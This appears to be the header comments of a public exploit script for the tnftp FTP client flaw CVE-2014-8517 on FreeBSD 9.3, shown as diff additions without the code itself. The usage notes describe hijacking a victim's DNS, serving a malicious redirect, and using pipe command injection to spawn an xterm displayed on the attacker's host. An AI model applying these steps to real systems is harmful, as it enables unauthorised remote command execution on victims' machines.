+# Exploit Title: [tnftp BSD exploit]
+# Date: [11/29/2014]
+# Exploit Author: [dash]
+# Vendor Homepage: [www.freebsd.org]

+# tnftp exploit (CVE-2014-8517)tested against freebsd 9.3
+# https://www.freebsd.org/security/advisories/FreeBSD-SA-14:26.ftp.asc
+#
+# 29 Nov 2014 by dash@hack4.org
+#
+# usage: 
+# 
+# redirect the vulnerable ftp client requests for http to your machine
+#
+# client will do something like: 
+# ftp http://ftp.freebsd.org/data.txt
+#
+# you will intercept the dns request and redirect victim to your fake webserver ip
+#
+# attacker: start on 192.168.2.1 Xnest: Xnest -ac :1 
+# probably do also xhost+victimip
+#
+# attacker: python CVE-2014-8517.py 192.168.1.1 81 192.168.1.1
+# 
+# sadly you cannot put a slash behind the | also www-encoded is not working
+# plus problems with extra pipes
+# this renders a lot of usefull commands useless
+# so xterm -display it was ;)
